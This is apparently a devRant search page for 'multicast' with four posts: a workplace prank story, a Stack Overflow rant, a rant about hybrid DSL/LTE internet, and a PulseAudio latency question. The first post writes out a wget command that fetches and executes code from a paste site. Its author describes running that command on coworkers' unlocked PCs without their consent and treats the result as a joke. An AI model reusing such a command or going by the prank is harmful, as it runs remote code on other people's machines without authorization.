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Search - "multicast"
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I had this prepared in advance and executed on April 1st few years ago.
1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.
Man, that was hilarious.2 -
"SO culture is so mean, they downvote good questions for no reason!"
Meanwhile, most of the downvoted questions in my list:
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
https://stackoverflow.com/questions...
Translation:
- OP1: "Do my homework for me"
- OP2: "I am too lazy to google this"
- OP3: "Gimme code, here is a shitload of requirements"
- SO: "No."
- OP1/2/3/DevRant: "Oh mah gawd mah question was so gud, SO such toxic, very mean, much wow qq."
Kk.11 -
Ok, first rant, about my struggles getting reliable internet over the past 6 years. It's not too interesting of a topic, but here we go:
I'm living in a more rural part of Germany and internet here is shit. I pay more than 50 bucks a month for 700kb/s downstream (let's just not talk about upstream...), which is meh by itself but it gets worse. Before this I had roughly 230kb/s downstream using DSL. My provider came out with a new oh-so-fucking-fancy solution for giving people faster internet without upgrading their lame ass fucking backbone and POS infrastructure from 70 years ago: they sell you hybrid internet which combines your shit DSL and an LTE connection using TCP Multicast. Not only do I get only 6 of my promised (and payed for) 50 Mbit, no, It's also a fucking piece of nonworking shit!!!
Let me illustrate:
You constantly have problems with web content (or any remote content) not loading because the host server does not support TCP Multicast. It either refuses connection altogether or it takes about 30-50 seconds to establish a connection. Think about your live when it takes two or three fucking minutes to load 5 YouTube thumbnails or load new tweets at the bottom of the Twitter page! Also, you never know if you a) have an error in your implementation of a new API or if b) the remote host doesn't support TCPMC (there's never an error for that! Fuck you!), your SSH sessions ALWAYS drop in the most inopportune fucking moments because the LTE thing lost connection, you always have to turn on a VPN if you want to visit specific websites (for example your school's website) and so on....
Oh and also, my provider started throttling specific services again these days with Netflix and YouTube struggling to display 240p, fucking 240p video without buffering when I get 600kbit down on steam (ofc the steam download is paused when watching videos). When using a VPN, YouTube 720p and Netflix HD work like a charm again. Fucking Telekom bastards
Then there is the problem with VPNs. The good thing about them is that they solve all the TCP Multicast problems. Yay. Now for the bad things:
First of all, as soon as I use a VPN, access times to remote go up by like fucking 500%. A fucking DNS lookup takes 8-15 seconds!!! The bandwidth is there but it takes forever.. because reasons I guess. Then the speed drops to DSL speeds after a while because the router turns off my LTE connection when it is unused and it does not detect VPN traffic as traffic (again because... Reasons?) And also, the VPN just dies after an hour and you have to manually reconnect (with every VPN provider so far)
And as if that wasn't enough, now the lan is dying on me, too, with the router (the fucking expensive hybrid piece of shit, 230 bucks..) not providing DHCP service anymore or completely refusing all wifi connections or randomly dropping 5Ghz devices, or.....
You get the point.
The worst thing is, they recently layed down 400mbit fiber in my neighborhood. Guess where the FUCKING PIECE OF SHIT CABLE ENDS??? YEAH, RIGHT IN FRONT OF MY NEIGHBORS HOUSE. STREET NUMBER 19 IS SERVED WITH 400MBIT AND MY HOME, THE 20, IS NOT IN THEIR FUCKING SERVICE REGION. Even though there is a fucking cable with the cable companies name on it on my property, even leading up to my house! They still refuse to acknowledge it! FUCK YOU!!!!
Well anyways thanks for reading. Any of you got the same problems? :/2 -
Does anyone have any ideas on how to decrease latency of audio multicast via pulseaudio?
Currently having a non uniform latency of 1-10 seconds
This is in case of local network6